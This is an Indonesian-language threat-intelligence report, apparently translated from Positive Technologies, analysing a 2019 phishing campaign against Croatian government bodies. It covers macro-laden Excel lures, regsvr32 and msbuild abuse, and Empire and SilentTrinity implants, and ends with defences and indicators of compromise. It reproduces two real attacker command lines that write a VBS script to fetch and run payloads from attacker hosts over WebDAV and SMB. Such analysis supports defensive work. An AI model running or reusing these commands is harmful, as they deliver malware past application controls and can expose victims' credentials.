
Pakar kami dari pusat keamanan pakar selalu mengikuti dan memantau munculnya ancaman baru yang menarik dan berbahaya. Begitulah, pada awal April 2019, sebuah serangan yang ditargetkan pada pemerintah Kroasia ditemukan. Laporan ini memeriksa rantai pengiriman malware ke komputer korban, menyajikan indikator kompromi, dan mencatat penggunaan kerangka kerja pasca-operasional baru, yang, menurut data kami, tidak pernah digunakan oleh penyerang.
Infeksi korban
Pada 2 April 2019, selama pemantauan rutin berbagai sumber daya untuk malware baru, para pakar PT Expert Security Center menemukan dokumen kantor yang tidak biasa.
Gambar 1. Dokumen berbahayaPemberitahuan pengiriman dibuat dalam aplikasi MS Excel office dan disimpan dalam format XLS lama sehari sebelumnya (2019-04-01 16:28:07 (UTC)). Namun demikian, cap waktu yang tersedia di media (2018-07-25 00:12:30 (UTC)) menunjukkan bahwa dokumen tersebut digunakan kembali pada tahun 2018. Kami akan kembali ke gejala tidak langsung di bawah ini.
Perlu dicatat bahwa bidang Komentar (yang dapat diubah, termasuk menggunakan aplikasi MS Excel) berisi perintah di shell Windows:
cmd.exe /c echo Set objShell = CreateObject("Wscript.Shell"): objShell.Run "net use https://postahr.vip", 0, False: Wscript.Sleep 10000: objShell.Run "regsvr32 /u /n /s /i:https://postahr.vip/page/1/update.sct scrobj.dll", 0, False: Set objShell = Nothing > C:\users\%username%\appdata\local\microsoft\silent.vbs
Gambar 2. Kolom "Komentar" dengan konten yang mencurigakan
Gambar 3. Isi bidang Komentar dalam bentuk binerSebagai hasil dari mengeksekusi perintah ini, sistem membuat skrip dalam bahasa Visual Basic, yang, ketika diluncurkan, akan melakukan tindakan berikut:
- menghubungkan sumber daya jaringan menggunakan teknologi WebDAV,
- unduh dan jalankan file infeksi tahap berikutnya menggunakan utilitas sistem yang sah regsvr32.
Ketika sumber daya jaringan terhubung melalui HTTP (S), permintaan NTLM dikirim ke server penyerang, dengan bantuan yang hash NTLM dapat dipulihkan. Kemudian hash yang diterima dapat digunakan untuk otorisasi pada layanan atas nama korban. Kami tidak menemukan jejak serangan seperti itu, dan alasan untuk menghubungkan sumber daya jaringan tetap tidak jelas.
Teknik menggunakan regsvr32 (mengelola kontrol ActiveX) untuk tujuan jahat bukanlah hal baru dan bahkan memiliki nama - Squiblydoo. Penyerang menggunakannya untuk memenuhi persyaratan untuk mengendalikan peluncuran program tepercaya, serta untuk memotong deteksi anti-virus.
Dengan sendirinya, teks di bidang Komentar tidak berbahaya, dan pelaksanaannya harus dikondisikan. Ketika korban membuka dokumen Excel yang diterima, pesan perangkap berbahasa Kroasia muncul yang memberitahu Anda untuk menyertakan makro:
Gambar 4. Perangkap pesan setelah membuka dokumenJika makro dibolehkan, pengguna akan melihat pemberitahuan paket palsu dengan logo pos Kroasia:
Gambar 5. Pemberitahuan paket salahSementara itu, menggunakan alat makro, skrip untuk bidang Komentar akan dieksekusi, dan skrip yang dibuat dalam sistem akan ditambahkan ke startup:
Gambar 6. Logika makro kunciAnehnya, skrip yang sedang dibuat tidak dipicu oleh makro. Mungkin inilah maksud dari penyerang: tahap infeksi berikutnya akan terjadi setelah sistem reboot dan login pengguna. Kami akan kembali ke detail di bawah ini.
Bagian dari skenario menarik dengan caranya sendiri: struktur kode rapi dengan pemformatan, lekukan dan nuansa markup lainnya dapat menjadi tanda menggunakan kode pihak ketiga dan bahkan sebuah program yang memungkinkan Anda untuk membuat dokumen semacam itu secara otomatis.
Gambar 7. Agaknya meminjam bagian dari makroPencarian kata kunci menyediakan banyak potongan kode yang serupa pada sumber daya yang berbeda. Kami cenderung meyakini bahwa peretas hanya menemukan kode program yang sesuai dan mengubahnya sedikit untuk melakukan tindakan yang diperlukan:
Gambar 8. Contoh makro serupa di issuu.com
Gambar 9. Contoh makro serupa di stackoverflow.com
Gambar 10. Contoh makro serupa di dummies.comMari kita kembali ke tahap infeksi berikutnya menggunakan utilitas regsvr32. Ketika perintah dijalankan, skrip update.sct dalam JavaScript akan diunduh dari server penyerang. Badan skrip berisi data biner yang disandikan oleh algoritma Base64. Setelah decoding, data yang diterima akan di-deserialisasi dan dieksekusi menggunakan platform perangkat lunak .NET Framework.
Gambar 11. Skrip update.sct diunduh dari server penyerangPerlu dicatat bahwa kode ini juga dipinjam oleh penyerang di salah satu sumber daya publik:
Gambar 12. Contoh kode serupa di rastamouse.me
Gambar 13. Contoh kode serupa di github.comTampaknya hacker tidak dengan hati-hati menyelidiki logika dari alat yang digunakan. Misalnya, dalam skrip yang dianggap, fungsi setversion dipanggil, yang tidak melakukan apa-apa. Salah satu contoh yang tersedia di web juga terlihat.
Objek yang dibongkar dan diluncurkan adalah file PE yang dapat dieksekusi pada platform .NET.
Gambar 14. Header file PE yang dapat dieksekusi
Gambar 15. Informasi debug file SharpPick PESebagai hasil kompilasi, jalur ke proyek dengan kode sumber dipertahankan. Akhiran -master menunjukkan bahwa proyek sebelumnya dikloning dari repositori, dan direktori SharpPick mengarah ke aplikasi terkenal yang memungkinkan Anda untuk mengunduh dan mengeksekusi kode PowerShell tanpa menggunakan penerjemah bahasa secara langsung, tetapi menggunakan dependensi .NET.
Terlepas dari ketersediaan proyek utilitas SharpPick di GitHub, Anda harus memastikan bahwa tidak ada perubahan signifikan yang telah dibuat.
Gambar 16. Bagian dari kode utilitas SharpPick yang telah didekompilasiSebagai hasil dari dekompilasi, pseudo-code diperoleh, selama itu diterjemahkan dari Base64 dan skrip PowerShell diluncurkan:
Gambar 17. Skrip PowerShell yang dikonversi sebagianSetelah menyederhanakan kode, tidak sulit untuk menguraikan logikanya:
- sebuah objek dibentuk untuk berinteraksi dengan server web dengan pengaturan User-Agent, Cookie dan proxy yang ditentukan;
- muatan dimuat di alamat yang ditentukan;
- hasilnya didekripsi oleh algoritma RC4 menggunakan kunci yang ditentukan dan dimulai.
Sayangnya, selama penelitian kami, server manajemen sudah tidak tersedia. Data yang diterima darinya tadi, tidak bisa kami temukan. Namun, kali ini ada cukup informasi di Web (contoh: laporan rekan kami dari
FireEye ) untuk secara jelas menetapkan: tautan akhir dalam rantai infeksi ini adalah Empire backdoor, alat untuk administrasi jarak jauh komputer korban sebagai bagian dari kerangka kerja pasca-operasional Empire Framework.
Gambar 18. Menggunakan skrip PowerShell yang serupa untuk menyerang kerentanan di WinRARMenariknya, pola skrip lainnya mengarah ke artikel yang luas tentang teknik pengujian penetrasi dengan perhatian khusus untuk menyembunyikan infrastruktur penyerang di belakang server proxy. Sumber informasi yang paling mungkin digunakan oleh penyerang adalah sebuah artikel oleh rekan-rekan dari Payatu Technologies, di mana mereka
memberikan instruksi terperinci tentang mengarahkan ulang sesi ke sumber daya yang sah, memblokir paket yang tidak diinginkan, logging, dan sebagainya, termasuk menggunakan Empire.
Beberapa jam kemudian, kami menemukan dokumen lain di bungkusan itu. Ini memiliki banyak kesamaan dengan yang sebelumnya: juga ditemukan di Kroasia (2019-04-02 16:52:56 (UTC)), memiliki nama yang sama dan bahkan gambar jebakan tentang paket yang diterima. Namun tetap ada perbedaan.
Kode berbahaya lagi terletak di bidang Komentar, tetapi kali ini logika tindakan telah diubah.
cmd.exe /c echo Set objShell = CreateObject("Wscript.Shell"):objShell.Run "C:\windows\system32\cmd.exe /c net use \\176.105.255.59\webdav",0:Wscript.Sleep 60000: objShell.Run "%windir%\Microsoft.Net\Framework\v4.0.30319\msbuild.exe \\176.105.255.59\webdav\msbuild.xml" , 0, False: Set objShell = Nothing > C:\users\%username%\appdata\local\microsoft\silent.vbs
- Sumber daya jaringan terhubung menggunakan protokol SMB.
- Unduh dan luncurkan tahap infeksi berikutnya menggunakan msbuild, utilitas yang sah dari paket .NET Framework.
Sangat menarik bahwa baris webdav hadir di alamat direktori yang dipasang, secara tidak langsung menghubungkan kasus ini dengan yang sebelumnya. Kali ini, serangan terhadap hash NTLM masih mungkin terjadi, meskipun tidak ada bukti penggunaannya. Sekali lagi, aplikasi yang sah (kali ini msbuild) digunakan untuk berhasil melewati pembatasan meluncurkan program pihak ketiga. Sebelum kami menjelaskan teknik penyalahgunaan, kami menyebutkan perbedaan dalam kode program makro dokumen baru.
Penyerang tidak membuat perubahan signifikan pada logika skrip VBA. Tetapi perlu dicatat bahwa kali ini mereka tidak hanya menyediakan pemuatan otomatis dari skrip VBS yang dibuat dalam sistem, tetapi juga meluncurkannya saat dokumen dibuka. Kemungkinan besar, dalam kasus sebelumnya, para penyerang hanya melupakannya, dan setelah beberapa waktu, setelah menemukan kesalahan, mereka memperbaikinya dalam versi baru dokumen.
Gambar 19. Perbandingan kode makro dalam dua dokumenTahap infeksi berikutnya adalah dokumen XML yang berisi kode C #. Fitur utilitas msbuild memungkinkan Anda mengkompilasi dan menjalankan kode yang terkandung dengan cepat, sebagaimana dibuktikan oleh komentar yang ditinggalkan oleh peretas di awal markup.
Buffer Base64 sekali lagi disajikan dalam kode, yang akan diterjemahkan, didekompresi oleh algoritma Deflate, dan diluncurkan. Kami percaya bahwa pembaca sudah menyadari bahwa kali ini penyerang juga menggunakan templat yang dapat diakses secara bebas, sebagaimana dibuktikan oleh komentar yang disebutkan dan banyak sumber di Web dengan kode yang sama.
Gambar 20. Tugas msbuild.xml diunduh dari server penyerangAkibatnya, kali ini file PE pada platform .NET akan dimuat dan dieksekusi ke dalam memori. Dan informasi debugging tidak hanya berisi tanda bahwa proyek dikumpulkan pada mesin virtual (mungkin untuk menyembunyikan informasi tentang penyerang), tetapi juga direktori SILENTTRINITY, yang akan kita bahas lebih terinci.
Gambar 21. Informasi debug dari file PE SILENTTRINITYSetelah mempelajari dua dokumen parsel ini, kami menemukan dua lagi. Baik format file, nama, dan gambar perangkap dengan wilayah yang ditentukan tetap tidak berubah. Dokumen tersedia pada akhir Agustus 2018, yang mengkonfirmasi hipotesis tentang sifat jangka panjang kampanye, yang kami tulis di awal laporan.
Sangat mengherankan bahwa peretas tahun lalu tidak menggunakan bidang "Komentar", tetapi mereka meluncurkan utilitas yang sah. Komponen jahat dimuat menggunakan utilitas untuk bekerja dengan sertifikat dan operasi kriptografi certutil, dan peluncuran disediakan oleh alat manajemen sistem WMI:
Gambar 22. Perbandingan makro dokumen 2018Sayangnya, setelah batasan apa yang terjadi, kami tidak dapat membuat tautan selanjutnya dalam rantai serangan 2018.
Perlu juga dicatat bahwa bagian dari kode skrip VBA tetap tidak berubah, dengan pengecualian komentar tambahan yang dihapus yang menjelaskan logika kerja.
Gambar 23. Perbandingan makro 2019 dan 2018Kerangka SilentTrinity
Hasil pencarian untuk kata kunci SILENTTRINITY dari informasi debug file PE dapat dengan mudah menentukan asal dari tautan serangan ini. Pada Oktober 2018, Marcello Salvati (seorang peneliti di Black Hills Information Security) memposting sebuah proyek bernama SILENTTRINITY pada repositori GitHub yang populer. Gagasan utama: untuk menggunakan fleksibilitas dan keuntungan dari kerangka kerja PowerShell pasca-operasi yang terkenal dalam bahasa pemrograman Python, yaitu IronPython. Proyek ini berkembang hingga hari ini.
Kami tidak akan menggali rincian pekerjaan dan implementasi proyek (terutama karena penulis berbicara secara rinci tentang hal itu dalam
laporannya ). Kami hanya akan menyoroti logika dasar kerja dan poin menarik dalam implementasi.
Setelah memulai file-PE (namun, tautan perantara mungkin dalam format yang berbeda), berikut ini terjadi:
- akses ke server manajemen untuk mengunduh arsip ZIP dengan dependensi yang diperlukan dan skrip Python utama;
- konten arsip diekstraksi tanpa menyimpan ke disk;
- dependensi terdaftar untuk keberhasilan pemrosesan skrip Python;
- Skrip Python utama diluncurkan, menunggu tugas dari penyerang;
- setiap tugas ditransfer sebagai skrip Python yang sudah jadi;
- tugas dilakukan di sisi korban dalam utas terpisah;
- hasil pekerjaan ditransfer kembali ke server manajemen.
Gambar 24. Diagram operasi framework SilentTrinityDari fitur-fiturnya, perlu digarisbawahi hal-hal berikut:
- Dukungan untuk IronPython, termasuk bahasa Boo (subset dari IronPython dengan pengetikan data yang kuat).
- Semua aktivitas tidak memerlukan ruang disk: dependensi, skrip, tugas berada di memori (serangan fileless).
- Arsip dengan dependensi, tugas, hasil kerja tim - semua komunikasi antara korban dan peretas dienkripsi dengan algoritma AES.
- Kunci yang dibagikan dihasilkan oleh protokol Diffie-Hellman.
- Transport jaringan disediakan pada level protokol HTTP (S) dengan dukungan proxy.
Gambar 25. Contoh antarmuka pengguna dari sisi server kerangka kerja SilentTrinityMenariknya, pada hari serangan, loader PE diunggah ke layanan VirusTotal, di mana tidak ada vendor anti-virus yang mengidentifikasinya sebagai malware. Ini tidak mengherankan: pertama, file biner tidak sampai ke disk, dan deteksi tanda tangan tidak masuk akal; kedua, deteksi statis jauh dari satu-satunya teknologi untuk melindungi pengguna.
Gambar 26. Hasil pemindaian bootloader SilentTrinity pada hari seranganSelain itu, beberapa hari setelah serangan, vonis deteksi masih mulai muncul. Penting bahwa selama periode serangan, baik peralatan pelindung belum dilengkapi dengan algoritma pendeteksian, atau ancaman pada prinsipnya tidak diketahui.
Gambar 27. Hasil pemindaian saat ini dari bootloader SilentTrinityKemungkinan besar, ini adalah alasan untuk memilih solusi ini untuk melakukan serangan. Kami tidak memiliki informasi bahwa kerangka kerja SilentTrinity telah digunakan dalam serangan berbahaya sebelumnya.
Infrastruktur Digunakan oleh Penyerang
Perlu disebutkan bahwa infrastruktur jaringan yang digunakan oleh peretas secara kronologis terkait dengan serangan yang sedang berlangsung.
Tabel 1. Informasi tentang domain yang digunakan sebagai server penyerang
Domain dibuat sedemikian rupa sehingga menyerupai sumber daya serangan yang sah. Ini memungkinkan pengguna untuk mendapatkan kepercayaan dalam serangan phishing. Perhatikan bahwa sumber daya yang terlibat tidak terbatas pada Kroasia.
Semua domain terdaftar menggunakan teknologi keamanan WhoisGuard. Ini memungkinkan Anda untuk menyembunyikan informasi nyata tentang pendaftar domain untuk melindungi dari spam, sementara penyerang menggunakan teknologi ini untuk penganoniman.
Server yang mendistribusikan dan mengelola malware disewa dari penyedia Breezle Belanda.
Semua informasi yang tersedia tentang node, alamat, dan domain para penyerang dengan banyak koneksi di antara mereka memungkinkan kita untuk menilai tentang sejumlah besar malware yang dimiliki penyerang saat ini. Kami tidak mengecualikan bahwa dalam alat kampanye yang serupa dengan yang dipertimbangkan dapat digunakan dan beberapa kasus infeksi tetap tidak terpecahkan.
Gambar 28. Representasi grafis dari infrastruktur penyerangKesimpulan
Sehari setelah penemuan dokumen dalam
berita , siaran pers dikeluarkan dengan
tautan ke Departemen Keamanan Sistem Informasi Kroasia tentang serangan phishing yang ditargetkan. Jejak ditemukan di beberapa badan pemerintah negara itu. Dilaporkan bahwa email dikirim kepada para korban dengan tautan ke situs phishing yang darinya diusulkan untuk mengunduh dokumen jahat yang darinya analisis kami dimulai. Ini mengisi tautan yang hilang dalam rantai serangan, dan pada akhirnya kami ingin memperhatikan metode perlindungan yang dapat mengurangi kerusakan dari serangan tersebut:
- Memantau dan mengendalikan penggunaan beberapa program tepercaya (certutil, regsvr32, msbuild, net, wmic ...)
- Memeriksa dan menganalisis tidak hanya lampiran dalam email, tetapi juga tautan web
- Pemindaian memori PC berkala di jaringan perusahaan
- Koneksi yang berhasil ke C2 Silent Trinity (bahkan di bawah TLS) dapat dideteksi menggunakan PT Network Attack Discovery , di samping itu, di repositori kami, kami menerbitkan deteksi untuk komunitas.
Diposting oleh Alexey Vishnyakov, Positive Technologies
PS Mengenai hal ini, penulis juga membaca laporan di Positive Hack Days 9. Video presentasi ini dan lainnya tersedia di:
www.phdays.com/en/broadcast/ .
Indikator kompromi:0adb7204ce6bde667c5abd31e4dea164
13db33c83ee680e0a3b454228462e73f
78184cd55d192cdf6272527c62d2ff89
79e72899af1e50c18189340e4a1e46e0
831b08d0c650c8ae9ab8b4a10a199192
92530d1b546ddf2f0966bbe10771521f
c84b7c871bfcd346b3246364140cd60f
hxxps: //postahr.vip/page/1/update.sct
hxxps: //posteitaliane.live/owa/mail/archive.srf
hxxps: //konzum.win/bat3.txt
hxxp: //198.46.182.158/bat3.txt
hxxps: //176.105.255.59: 8089
[\\] 176.105.255.59 \ webdav \ msbuild.xml
postahr.online
176.105.254.52
93.170.105.32